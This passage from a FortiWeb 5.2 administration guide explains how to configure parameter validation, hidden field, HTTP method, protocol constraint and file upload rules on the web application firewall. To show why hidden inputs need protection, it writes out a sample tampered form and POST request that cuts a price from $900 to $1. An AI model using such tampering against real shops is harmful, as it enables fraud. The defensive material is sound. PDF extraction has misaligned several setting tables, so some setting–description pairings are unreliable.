10.Go to Web Protection > Input Validation > Parameter Validation Policy.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
11.Click Create New.
A dialog appears.
Fortinet
12.In Name, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
13.Click OK.
450 FortiWeb 5.2 Patch 2 Administration Guide
14.Click Create New to add an entry to the set.
A dialog appears.
15.From the rule drop-down list, select the name of an existing input validation rule.
To view or change the information associated with the rule, select the Detail link. The Edit
Parameter Validation Rule dialog appears. Use the browser Back button to return.
16.Click OK.
17.Repeat the previous steps for each input rule that you want to add to the parameter validation rule.
18.To apply the parameter validation policy, select it in an inline or offline protection profile (see
“Configuring a protection profile for inline topologies” on page 492
).
Attack log messages contain Parameter Validation Violation when this feature detects a parameter rule violation.
If you do not want sensitive inputs such as passwords to appear in the attack logs’ packet
Fortinet
See also
•
Preventing tampering with hidden inputs
•
Bulk changes to input validation rules
•
•
Configuring a protection profile for inline topologies
•
Configuring a protection profile for an out-of-band topology or asynchronous mode of operation
•
Connecting to FortiGuard services
•
How often does Fortinet provide FortiGuard updates for FortiWeb?
•
Bulk changes to input validation rules
If you need to make the same change to multiple parameter validation rules, you can apply some changes as a batch instead of individually.
To apply a batch of changes
1. Go to Web Protection > Input Validation > Parameter Validation Rule.
2. Mark the check boxes of all rules that will receive the same change. Additional buttons will become available on the tool bar, such as Edit Action, Edit Trigger Policy, or Edit Severity.
451 FortiWeb 5.2 Patch 2 Administration Guide
3. Click one of those buttons, then from the drop-down menu that appears, select the new value for setting.
Defining custom data types
In addition to using the predefined regular expressions that FortiWeb has to detect data types, you can also configure your own custom data types.
Unlike predefined data types, custom data types cannot be used by auto-learning profiles.
To create a custom data type by modifying a predefined data type, copy the text in the
column of the predefined data type, then paste it into a custom data type.
To create a custom data type
1. Go to Auto Learn > Custom Pattern > Data Type.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Server Policy Configuration category. For details,
.
2. Click Create New.
A dialog appears.
Fortinet
3. In Name, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. In Expression, enter a regular expression that defines this data type.
5. To test the regular expression against sample text, click the >> (test) icon. This opens the
Regular Expression Validator window where you can fine-tune the expression (see
“Regular expression syntax” on page 704 ).
6. Click OK.
7. To use a custom data type, select it when configuring an input rule. For details, see
“Validating parameters (“input rules”)” on page 444
.
452 FortiWeb 5.2 Patch 2 Administration Guide
See also
•
Validating parameters (“input rules”)
Preventing tampering with hidden inputs
Unlike visible inputs, hidden field rules are for hidden parameters only, from
<input type="hidden">
HTML tags. For information on constraining visible inputs, see
“Validating parameters (“input rules”)” .
Hidden form inputs are often written into an HTML page by the web server when it serves that page to the client, and are not visible on the rendered web page. Because HTTP is essentially stateless, like cookies, hidden form inputs are one way that web applications can use to remember session data from one page request to the next (called “persistence”).
For example, to remember the price of a TV accessed from a secret sale URL previously requested that session, this form remembers the sale price, and will provide it again to the shopping cart application when the client submits the payment page:
<form method="POST" action="processPayment.do">
<input type="hidden" name="price" value="900">
$900 x Quantity: <input name="quantity" size=4><br/>
</br>
<input type="submit" value="Buy">
</form>
Since they are not rendered visible, hidden inputs are sometimes erroneously perceived as safe.
But similar to session cookies, hidden form inputs store the software’s state information client-side, instead of server-side. This makes it vulnerable.
Hidden fields are accessible through the JavaScript document object model (DOM).
Additionally, forms often use the HTTP POST method and send input to a URL (such as
/checkPayment.do
) that legitimate clients never see, since the server replies with an HTTP
302
status code and the next URL in the Location: header, which the client then fetches using the GET method and displays. Unless there is code to prevent it, however, attackers often can easily send altered hidden inputs to this POST URL simply by altering a local copy of the page, using a browser plug-in tool such as Tamper Data, or in some cases simply typing different URL parameters into the browser’s location bar.
Like any other input from clients, it can be tampered with and should not be trusted. Tampered hidden inputs can be used as a vector for state-based attacks.
To follow the above example, an attacker could alter the sale price so that he or she can buy the item much more cheaply:
<form method="POST" action="processPayment.do">
<input type="hidden" name="price" value="1">
$900 x Quantity: <input name="quantity" size=4><br/>
</br>
<input type="submit" value="Buy">
</form>
Fortinet 453 FortiWeb 5.2 Patch 2 Administration Guide
When this form is submitted, the attacker orders TVs at a price reduced from $900 to $1. The request looks like this:
POST /processPayment.do HTTP/1.1
Host: www.example.com
Referer: http://www.example.com/checkout.do
Cookie: JSESSIONID=12345667890
Content-Type: application/x-www-form-urlencoded
POSTDATA quantity=9999&price=1
Unless the web application is smart enough to test for unauthorized prices,
/processPayment.do
accepts the request, processes the order, and returns a normal reply like this:
HTTP/1.1 302 Moved
Set-Cookie: JSESSIONID=12345667890;HttpOnly
Location: http://www.example.com/thankYou.do
Content-Length: 0
Connection: close
Content-Type: text/plain; charset=UTF-8
The client then loads the final “thank you” shopping cart page indicated in the reply’s
Location:
header.
Hidden field rules prevent tampering by caching the values of a session’s hidden inputs as they pass from the server to the client, and verifying that they remain unchanged when the client submits the form to its POST URL.
To configure a hidden field rule
1. Before you configure a hidden field rule, if you want to apply it only to HTTP/HTTPS requests for a specific real or virtual host, you must first define the web host in a protected host
names group. For details, see “Defining your protected/allowed HTTP “Host:” header names” .
2. Go to Web Protection > Input Validation > Hidden Fields Rule.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
3. Click Create New.
A dialog appears.
Fortinet 454 FortiWeb 5.2 Patch 2 Administration Guide
4. Configure these settings:
Fortinet
Setting name
Name
Description
Host Status Enable if you want the hidden field rule to apply only to HTTP/HTTPS requests for a specific web host. Also configure
Host
.
Host
Select the name of a protected host that the Host: field of an HTTP request must be in to match the hidden field rule.
This option is available only if
Host Status
is enabled.
Request
URL
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Type the exact URL that contains the hidden input for which you want to create a hidden field rule. This is usually a form that is visible to the person’s web browser, not the CGI script or page that processes submitted forms.
The URL must begin with a slash ( / ). Do not include the web host name, such as www.example.com. It is configured separately in the Host drop-down list.
455 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Action
Block
Period
Description
Select which action the FortiWeb appliance will take when it detects a violation of the rule:
• Alert — Accept the connection and generate an alert email and/or log message.
• Alert & Deny — Block the request (reset the connection) and generate an alert and/or log message.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
or
.
• Period Block — Block subsequent requests from the client for a number of seconds. Also configure
Block Period
.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
or
.
Note:
If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original
client’s IP (see “Defining your proxies, clients, & X-headers” on page 281
).
Failure to do so may cause FortiWeb to block all connections when it detects a violation of this type.
• Redirect — Redirect the request to the URL that you specify in the protection profile and generate an alert and/or log message. Also
and
• Send 403 Forbidden — Reply with an HTTP 403 Access Forbidden error message and generate an alert and/or log message.
The default value is Alert.
Note:
This setting will be ignored if
Note:
Logging and/or alert email will occur only if enabled and configured.
.
Note:
Because the new active appliance does not know previous session history, after an HA failover, for existing sessions, FortiWeb will not be able to apply this feature. See
“Sessions & FortiWeb HA” on page 39
.
Note:
If you will use this rule set with auto-learning, you should select Alert. If
Action
is Alert & Deny, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.
This setting is available only if
Action
is set to Period Block. The valid range is
.
456 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
Severity
Description
Trigger
Action
5. Click OK.
6. Click Fetch URL.
A dialog appears.
When rule violations are recorded in the attack log, each log message contains a Severity Level (severity_level) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:
• Low
• Medium
• High
The default value is High.
Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See
“Configuring triggers” on page 587
.
7. In the Pserver drop-down list, select the IP address of a physical server.
In Protocol, select whether to connect to the back-end web server using either HTTP or
HTTPS.
In Port, type the TCP port number on which the physical server listens for HTTP/HTTPS connections. The valid range is from 0 to 65,535. Typically HTTP is port 80; HTTPS is port
443.
Fortinet 457 FortiWeb 5.2 Patch 2 Administration Guide
8. Click the Fetch URL button on the dialog.
FortiWeb retrieves the web page you specified in
dialog, and analyzes it. A new dialog appears displaying a list of hidden inputs that FortiWeb found, and URLs where those hidden inputs will be posted when a client submits the form.
Fortinet
Entries in the list are color-coded by the recommended course of action:
•
Blue —
The URL/hidden field exists in the requested URL, but you have not yet configured it in the hidden field rule. Add it to the hidden field rule.
•
Red —
The URL/hidden field does not exist in the requested URL, yet it is currently configured in the hidden field rule. Remove it from the hidden field rule.
•
Black
— The URL/hidden field exists in both the requested URL and your hidden field rule.
For each entry that you want included in the hidden field rule, in the Status column, mark its check box.
Also mark the check boxes of any previously configured items that you want to keep in the hidden field rule. If you do not, they will be deleted.
9. Click OK to save the entries in the dialog.
FortiWeb adds the entries to the Post URL Table and Hidden Fields Table on the Hidden
Fields Rule dialog. It also removes any that did not match the fetched URL.
10.To manually add entries to either table, do the following:
• Click Create New under the applicable table.
A dialog appears prompting for either a new URL or hidden field.
• Enter the name of the post URL or hidden field.
• Click OK.
11.Repeat the previous steps for each post URL or hidden field that you want to manually add to the hidden field rule.
12.On the Hidden Fields Rule dialog, click OK.
13.Go to Web Protection > Input Validation > Hidden Fields Policy.
458 FortiWeb 5.2 Patch 2 Administration Guide
14.Click Create New.
A dialog appears.
15.In Name, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
16.Click OK.
17.Click Create New to include a rule in the set.
18.From the Hidden Fields Rule drop-down list, select the name of an existing hidden field rule that you want to add to the set.
19.Click OK.
20.Repeat the previous steps for each individual rule that you want to add to the hidden fields policy.
21.To apply a hidden field policy:
• select it in an inline protection profile (see
“Configuring a protection profile for inline topologies” on page 492 ) and
• enable
See also
•
Connecting to FortiGuard services
•
How often does Fortinet provide FortiGuard updates for FortiWeb?
•
Specifying allowed HTTP methods
You can configure policies that allow only specific HTTP request methods. This can be useful for preventing attacks, such as those exploiting the HTTP method TRACE.
Some popular web applications such as Subversion, CalDAV, and WebDAV require custom or less common HTTP methods. While developing web applications, the HTTP method TRACE may be useful, but in production environments, it may disclose sensitive information to attackers. Many web applications only require GET and POST. Disabling all unused methods reduces the potential attack surface area for attackers. If you are unsure what HTTP methods are required by your web applications, you can use auto-learning to discover them. See
.
Generally, TRACE should only be used during debugging, and should be disabled otherwise.
Fortinet 459 FortiWeb 5.2 Patch 2 Administration Guide
To configure an HTTP request method policy
1. If you want to include method exceptions in a policy, create them first. For more information,
see “Configuring allowed method exceptions” on page 461 .
2. Go to Web Protection > Access > Allow Method Policy.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
3. Click Create New.
A dialog appears.
4. Configure these settings:
Fortinet
Setting name
Name
Description
Allow
Request
Severity
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Mark the check boxes for all HTTP request methods that you want to allow for this specific policy.
Methods that you do not select will be denied, unless specifically allowed for a host and/or URL in the selected Allow Method Exceptions.
The OTHERS option includes methods not specifically named in the other options. It often may be required by WebDAV ( RFC 4918 ) applications such as Microsoft Exchange Server 2003 and Subversion , which may require
HTTP methods not commonly used by web browsers, such as PROPFIND and BCOPY.
Note:
If a WAF Auto Learning Profile is used in the server policy where the
HTTP request method is applied (via the Web Protection Profile), you must enable the HTTP request methods that will be used by sessions that you want the FortiWeb appliance to learn about. If a method is disabled, the
FortiWeb appliance will reset the connection, and therefore cannot learn about the session.
When rule violations are recorded in the attack log, each log message contains a Severity Level (severity_level) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:
• Low
• Medium
• High
The default value is Medium.
460 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Trigger
Action
Description
Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule. See
“Configuring triggers” on page 587
.
Allow
Method
Exceptions
Select an HTTP request method exception definition to apply to the policy.
The method exceptions define specific HTTP request methods that are allowed by specific URLs and hosts.
If you want to view the information associated with the HTTP request method exceptions used by this policy, select the Detail link beside the Allow Method
Exceptions list. The Allow Method Exceptions dialog appears. Use the browser Back button to return.
For more information, see
“Configuring allowed method exceptions” .
5. Click OK.
6. To apply the allowed method policy, select it in an inline or offline protection profile (see
“Configuring a protection profile for inline topologies” on page 492
).
See also
•
Configuring allowed method exceptions
You can configure exceptions to allowed HTTP method policies.
While most URL and host name combinations controlled by a profile may require similar HTTP request methods, you may have some that require different methods. Instead of forming separate policies and profiles for those requests, you can configure allowed method exceptions. The exceptions define specific HTTP request methods that are allowed by specific
URLs and hosts.
To configure an allowed method exception
1. Before you configure an allowed method exception, if you want to apply it only to HTTP requests for a specific real or virtual host, you must first define the web host in a protected
2. Go to Web Protection > Access > Allow Method Exceptions.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
461 FortiWeb 5.2 Patch 2 Administration Guide
3. Click Create New.
A dialog appears.
4. In Name, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
5. Click OK.
6. Click Create New to add an entry to the set.
A dialog appears.
7. Configure these settings:
Fortinet
Setting name
Description
Host Status Enable to require that the Host: field of the HTTP request match a protected host names entry in order to match the allowed method exception. Also configure
Host
.
Host
Select which protected host names entry (either a web host name or IP address) that the Host: field of the HTTP request must be in to match the allowed method exception.
This option is available only if
Host Status
is enabled.
Type
Select whether URL Pattern is a Simple String (that is, a literal URL) or a
Regular Expression.
462 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
Description
URL Pattern Depending on your selection in
Type
, enter either:
• the literal URL, such as /index.php, that is an exception to the generally allowed HTTP request methods. The URL must begin with a slash ( / ).
• a regular expression, such as ^/*.php, matching all and only the URLs which are exceptions to the generally allowed HTTP request methods.
The pattern does not require a slash ( / ); however, it must at match URLs that begin with a slash, such as /index.cfm.
For example, if multiple URLs on a host have identical HTTP request method requirements, you would type a regular expression matching all of and only those URLs.
Do not include the domain name, such as www.example.com, which is configured separately in the
Host
drop-down list.
To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression (see
“Regular expression syntax” on page 704
).
Allow
Method
Exception
Mark the check boxes of all HTTP request methods that you want to allow.
Methods that you do not select will be denied.
The OTHERS option includes methods not specifically named in the other options. It often may be required by WebDAV ( RFC 4918 ) applications such as Microsoft Exchange Server 2003 and Subversion , which may require
HTTP methods not commonly used by web browsers, such as PROPFIND and BCOPY.
Note:
If a WAF Auto Learning Profile will be selected in the policy with an offline protection profile that uses this allowed method exception, you must enable the HTTP request methods that will be used by sessions that you want the FortiWeb appliance to learn about. If a method is disabled, the
FortiWeb appliance will reset the connection, and therefore cannot learn about the session.
8. Click OK.
9. Repeat the previous steps for each exception that you want to add to the allowed method exceptions.
10.To apply the allowed method exception, select it in an allowed method policy. For details,
see “Specifying allowed HTTP methods” on page 459 .
See also
•
Configuring a protection profile for inline topologies
•
Configuring a protection profile for an out-of-band topology or asynchronous mode of operation
HTTP/HTTPS protocol constraints
Protocol constraints govern features such as the HTTP header fields in the protocol itself, as well as the length of the HTML, XML, or other documents or encapsulated protocols carried in the HTTP body payload.
Fortinet 463 FortiWeb 5.2 Patch 2 Administration Guide
Use protocol constraints to prevent attacks such as buffer overflows. Buffer overflows can occur in web servers and applications that do not restrict elements of the HTTP protocol to acceptable lengths, or that mishandle malformed requests. Such errors can lead to security vulnerabilities.
Default HTTP protocol constraint values reflect the buffer size of your FortiWeb model’s HTTP parser. Use protocol constraints to block requests that are too large for the memory size
of FortiWeb’s scan buffers. Failure to block items that are too large to be buffered could compromise your network’s security, and allow requests without scanning or rewriting. See
“Buffer hardening” on page 645 .
For example, if your web applications require HTTP POST requests with unusually large parameters, you would adjust the HTTP body buffer size (see http-cachesize in the
FortiWeb CLI Reference
). Then, you would configure
Malformed Request
and other HTTP protocol constraints to harden your configuration.
This scan is bypassed if the client’s source IP is a known search engine and you have enabled
To configure an HTTP protocol constraint
1. If you plan to add constraint exceptions to your HTTP protocol constraints, configure the
exceptions first. See “Configuring HTTP protocol constraint exceptions” on page 471
. If you want to use a trigger when the rule is violated, configure it also. See
“Configuring triggers” on page 587
.
2. Go to Web Protection > Protocol > HTTP Protocol Constraints.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
3. Click Create New.
A dialog appears.
Fortinet 464 FortiWeb 5.2 Patch 2 Administration Guide
4. Configure these settings:
To disable a parameter check, type 0.
Fortinet 465 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Name
Action
Block Period
Description
Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
Select which action the FortiWeb appliance will take when it detects a violation of the rule:
• Alert — Accept the connection and generate an alert email and/or log message.
• Alert & Deny — Block the request (reset the connection) and generate an alert and/or log message.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
• Period Block — Block subsequent requests from the client for a number of seconds. Also configure
Block Period
.
You can customize the web page that will be returned to the client with the HTTP status code. See
“Uploading a custom error page” on page 491
Note:
If FortiWeb is deployed behind a NAT load balancer, when using this option, you must also define an X-header that indicates the original client’s IP (see
“Defining your proxies, clients, & X-headers” on page 281 ). Failure to do so may cause
FortiWeb to block all connections when it detects a violation of this type.
The default value is Alert.
Caution:
This setting will be ignored if
Note:
Logging and/or alert email will occur only if enabled and
configured. See “Logging” on page 572
.
Note:
If you will use this rule set with auto-learning, you should select Alert. If
Action
is Alert & Deny, or any other option that causes the FortiWeb appliance to terminate or modify the request or reply when it detects an attack attempt, the interruption will cause incomplete session information for auto-learning.
Type the number of seconds that you want to block subsequent requests from the client after the FortiWeb appliance detects that the client has violated the rule.
This setting is available only if
Action
is set to Period Block. The valid range is from 1 to 3,600 (1 hour). The default value is 60. See
also “Monitoring currently blocked IPs” on page 639
.
466 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Severity
Trigger Action
Description
When rule violations are recorded in the attack log, each log message contains a Severity Level (severity_level) field. Select which severity level the FortiWeb appliance will use when it logs a violation of the rule:
• Low
• Medium
• High
The default value is High.
Select which trigger, if any, that the FortiWeb appliance will use when it logs and/or sends an alert email about a violation of the rule.
See
“Configuring triggers” on page 587
.
Illegal Host Name
Illegal HTTP Version Enable to check for invalid HTTP version numbers. Currently, the only valid version strings are HTTP/.9, HTTP/1.0 or HTTP/1.1.
Attack log messages contain Illegal HTTP Version when this feature detects an invalid HTTP version number.
Illegal HTTP
Request Method
Enable to check for invalid HTTP request methods according to RFC
2616 or RFC 4918 . Any method not defined in these RFCs — including misspellings like GETT as well as other HTTP extension methods (e.g. CalDAV) like MKCALENDAR — are considered invalid.
Attack log messages contain Illegal HTTP Method when this feature detects an invalid HTTP request method.
HTTP Request
Length
Enable to check for illegal characters in the Host: line of the HTTP header, such as null characters or encoded characters.
For example, characters such as 0x0 or %00* will be considered illegal.
Attack log messages contain Illegal Host Name when this feature detects an invalid host name.
Content Length
Type the maximum acceptable length in bytes of the entire HTTP request, including both headers and body.
Attack log messages contain HTTP Request Length Exceeded when this feature detects an excessively large HTTP request.
Type the maximum acceptable length in bytes of the request body.
Length is determined by comparing this limit with the value of the
Content-Length:
field in the HTTP header.
Attack log messages contain Content Length Exceeded when this feature detects a content length buffer overflow attempt.
Tip:
RPC requests’ content length often do not match their own
Content-Length:
header. Attackers may also intentionally craft mismatching Content-Length: headers in an attempt to cloak buffer overflows. For those cases, use other limits instead or in addition, such as
Body Length
and “Limiting file uploads” on page 475
.
467 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Body Length
Description
Type the maximum acceptable size in bytes of the HTTP body.
For requests that use the HTTP POST method, this typically includes parameters from submitted by HTML form inputs. In the case of file uploads, this can normally be many megabytes. For most simple forms, however, the body should be only a few kilobytes in size at maximum.
Attack log messages contain Body Length Exceeded when this feature detects a body size buffer overflow attempt.
Header Length
Type the maximum acceptable size in bytes of all HTTP header lines.
Attack log messages contain Total Size of All Headers Too
Large
when this feature detects a header size buffer overflow attempt.
Header Line Length
Type the maximum acceptable size in bytes of each line in the HTTP header.
Attack log messages contain Header Line Too Large when this feature detects an attempted header line length buffer overflow.
Number of Header
Lines In Request
Type the maximum acceptable number of lines in the HTTP header.
Attack log messages contain Too Many Headers when this feature detects a header line count buffer overflow attempt.
Total URL and Body
Parameters Length
Type the total maximum total acceptable size in bytes of all parameters in the URL and/or, for HTTP POST requests, the HTTP body.
Question mark ( ? ), ampersand ( & ), and equal ( = ) characters are not included.
Attack log messages contain Total URL and Body Parameters
Length Exceeded
when this feature detects a total parameter size buffer overflow attempt.
Total URL
Parameters Length
Type the total maximum acceptable length in bytes of all parameters, including their names and values, in the URL.
Parameters usually appear after a ?, such as:
/url?
parameter1=value1¶meter2=value2
It does not include parameters in the HTTP body, which can occur with HTTP POST requests. For those, configure
Total URL and Body
Parameters Length
or
Body Length
instead.
Attack log messages contain Total URL Parameters Length
Exceeded
when this feature detects a URL parameter line length buffer overflow attempt.
468 FortiWeb 5.2 Patch 2 Administration Guide
Setting name
Number of URL
Parameters
Description
Type the maximum number of parameters in the URL. The maximum number is 104.
It does not include parameters in the HTTP body, which can occur with HTTP POST requests.
Attack log messages contain Too Many Parameters in
Request
when this feature detects a URL parameter count buffer overflow attempt.
Number of Cookies
In Request
Type the maximum acceptable number of cookies in an HTTP request.
Attack log messages contain Too Many Cookies in Request when this feature detects a cookie count buffer overflow attempt.
Number of ranges in
Range Header
Type the maximum acceptable number of Range: lines in each
HTTP header. The default value is 5.
Attack log messages contain Too Many Range Headers when this feature detects too many Range: header lines.
Tip:
Some versions of Apache are vulnerable to a denial of service
(DoS) attack on this header, where a malicious client floods the server with many Range: headers. The default value is appropriate for un-patched versions of Apache 2.0 and Apache 2.1.
Fortinet 469 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
Malformed Request Enable to inspect the request for:
• syntax errors
• exceeding the maximum buffer size allowed by FortiWeb’s HTTP parser
Errors and buffer overflows can cause problems in web servers that do not handle them gracefully. Such problems can lead to security vulnerabilities.
Attack log messages contain Too Many Parameters or Too
Many Flash Parameters
or another message that indicates the specific cause when this feature detects a request with parser errors or a FortiWeb buffer overflow attempt.
Caution:
Fortinet strongly recommends to enable this option unless large requests/parameters are required by the web application. If part of a request is too large for its scan buffer, FortiWeb cannot scan it for attacks. It also cannot perform rewrites. Unless you
configure it to block, FortiWeb will allow oversized requests to
pass through without scanning or rewriting. This could allow padded attacks to pass through, and rewriting to be skipped.
If feasible, instead of disabling this option:
• Enlarge the scan buffer for each parameter (see http-cachesize
in the
FortiWeb CLI Reference
). Requests larger than the buffer will be flagged as potentially malformed by
FortiWeb’s parser, causing FortiWeb to block normal requests
(i.e. false positives). For more buffer specifications, see
“Buffer hardening” on page 645
.
• Disable this setting only for URLs that require oversized parameters (see
“Configuring HTTP protocol constraint exceptions” on page 471 )
Exception Name
Description
Select the HTTP constraints exception, if any, that you want to apply to this policy (see
“Configuring HTTP protocol constraint exceptions” on page 471
).
If you want to view or change the information associated with a exception, select the Detail link. The HTTP Constraints Exception dialog appears, where you can view and edit the exceptions.
5. Click OK.
6. To apply the HTTP protocol constraint profile, select it in an inline or offline protection profile
(see
“Configuring a protection profile for inline topologies” on page 492
or
).
See also
•
•
470 FortiWeb 5.2 Patch 2 Administration Guide
Configuring HTTP protocol constraint exceptions
You can configure exceptions for use with HTTP protocol constraints.
Exceptions define HTTP constraints that will not be subject to HTTP protocol constraint.
Exceptions are useful when you know that some HTTP protocol constraints, during normal use, will cause false positives by matching an attack signature.
For example, if no exceptions are defined, FortiWeb executes the HTTP protocol constraint as defined in
“HTTP/HTTPS protocol constraints” on page 463
. But, if you mark the check box for
Header Length
in a HTTP protocol constraint exception for a specific host, FortiWeb will skip the HTTP header length check when executing the web protection profile for that host.
As another example, some web applications require very large HTTP POST requests. You can use
Malformed Request
to create an exception from the constraint for those requests.
Like any software, FortiWeb’s buffers are not endless. If an HTTP request overall or its individual components such as parameters are too long to fit the scan buffer, they will you do not want to
To configure an HTTP constraint exception
1. Go to Web Protection > Protocol > HTTP Constraints Exception.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
2. Click Create New.
A dialog appears.
Fortinet
3. In Name, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
4. Click OK.
5. Click Create New to add an entry to the set.
A dialog appears.
471 FortiWeb 5.2 Patch 2 Administration Guide
6. Configure these settings:
Fortinet
Setting name
Host Status
Host
Request Type
Description
Enable to apply this HTTP constraint exception only to HTTP requests for specific web hosts. Also configure
Host
.
Disable to apply the exceptions to all web hosts.
Select the IP address or fully qualified domain name (FQDN) of the protected host to which this exception applies.
This setting is available only if
Host Status
is enabled.
Select whether the
URL Pattern
field will contain a literal URL
(Simple String), or a regular expression designed to match multiple
URLs (Regular Expression).
472 FortiWeb 5.2 Patch 2 Administration Guide
Fortinet
Setting name
URL Pattern
Description
Depending on your selection in the Request Type field, enter either:
• the literal URL, such as /index.php, that the HTTP request must contain in order to match the input rule. The URL must begin with a backslash ( / ).
• a regular expression, such as ^/*.php, matching all and only the
URLs to which the input rule should apply. The pattern does not require a slash ( / ); however, it must at match URLs that begin with a slash, such as /index.cfm.
Do not include the domain name, such as www.example.com, which is configured separately in the Host drop-down list.
To create and test a regular expression, click the >> (test) icon. This opens the Regular Expression Validator window where you can fine-tune the expression (see
“Regular expression syntax” on page 704
)n.
Header Length
Content Length
Enable to omit the constraint on the maximum acceptable size in bytes of the HTTP header.
Enable to omit the constraint on the maximum acceptable size in bytes of the request body.
Body Length
Enable to omit the constraint on the maximum acceptable size in bytes of the HTTP body.
Parameter Length
Enable to omit the constraint on the maximum acceptable size in bytes of parameters in the URL or, for HTTP POST requests.
Header Line Length
Enable to omit the constraint on the maximum acceptable size in bytes of each line in the HTTP header.
HTTP Request
Length
Enable to omit the constraint on the maximum acceptable length in bytes of the HTTP request.
URL Parameter
Length
Enable to omit the constraint on the maximum acceptable size of an
URL parameter (including the name and value).
Number of Cookies
In Request
Enable to omit the constraint on the maximum acceptable number of cookies in an HTTP request.
Number of Header
Lines In Request
Enable to omit the constraint on the maximum acceptable number of lines in the HTTP header.
Illegal HTTP
Request Method
Number of URL
Parameters
Illegal Host Name
Enable to omit the constraint on to check for invalid HTTP version numbers.
Enable to omit the constraint on the maximum number of parameters in the URL.
Enable to omit the constraint on invalid characters in the Host: line of the HTTP header, such as null characters or encoded characters.
473 FortiWeb 5.2 Patch 2 Administration Guide
Setting name Description
Number of ranges in
Range Header
Enable to omit the constraint on the maximum acceptable number of
Range:
lines in an HTTP header.
Tip:
Some versions of Apache are vulnerable to a denial of service
(DoS) attack on this header, where a malicious client floods the server with many Range: headers. If your web servers do not run
Apache and are not vulnerable to this attack, mark this check box to omit it from the scan and improve performance.
Malformed Request Enable to omit the constraint on syntax and FortiWeb parsing errors.
Caution:
Some web applications require abnormal or very large
HTTP POST requests. Since allowing such errors and excesses is generally bad practice and can lead to vulnerabilities, use this option to omit the malformed request scan only if absolutely necessary.
7. Click OK.
8. Repeat the previous steps for each rule you want to add to the exception.
9. Group the HTTP protocol constraint exception in an HTTP protocol constraint profile (see
“HTTP/HTTPS protocol constraints” on page 463
).
See also
•
Configuring a protection profile for inline topologies
•
Configuring a protection profile for an out-of-band topology or asynchronous mode of operation
Fortinet 474 FortiWeb 5.2 Patch 2 Administration Guide
Limiting file uploads
You can restrict file uploads based upon file type and size.
Detection and restriction are performed by scanning Content-Type: and Content-Length: headers in HTTP PUT and POST request methods submitted to your web servers.
For example, if you want to allow only specific types of files (MP3 audio files, PDF text files and
GIF and JPG picture files) to be uploaded to: http://www.example.com/upload.php
create a file upload restriction policy that contains rules that define only those specific file types.
When FortiWeb receives an HTTP PUT or POST request for the /upload.php URL with Host: www.example.com
, it scans the HTTP request and allows only the specified file types to be uploaded. FortiWeb blocks file uploads for any HTTP request that contains non-specified file types.
To configure a file upload restriction
1. Go to Web Protection > Input Validation > File Upload Restriction Rule.
To access this part of the web UI, your administrator’s account access profile must have
Read and Write permission to items in the Web Protection Configuration category. For
details, see “Permissions” on page 52
.
2. Click Create New.
A dialog appears.
Fortinet
3. In Name, type a unique name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 35 characters.
475 FortiWeb 5.2 Patch 2 Administration Guide
4. If you want to apply this file upload restriction rule only to requests for specific web hosts:
• Enable Host Status.
• From Host, select the IP address or FQDN of a protected host.
Disable Host Status to match the file upload restriction rule based upon the other criteria, such as the URL, but regardless of the Host: field
5. In Request URL, type the literal URL, such as /upload.php, to which the file upload restriction applies. The URL must begin with a slash ( / ).
Do not include the name of the host, such as www.example.com, which is configured separately in the Host drop-down list.
6. In File Upload Limit, type a number to represent the maximum size in kilobytes for any individual file. The upload rule rejects allowed files larger than this number. The valid range is from 0 to 5,120 KB (5 MB).
7. Click OK.
8. To add or remove file types, click Add File Types.
A dialog appears.
Fortinet
9. In the File Types pane, select the file types to allow, then click the right arrow (->) to move them to the Allow Files Types pane.
Microsoft Office Open XML file types such as .docx, xlsx, .pptx, and .vsdx are a type of
ZIP-compressed XML. If you specify restrictions for them, those signatures will take priority.
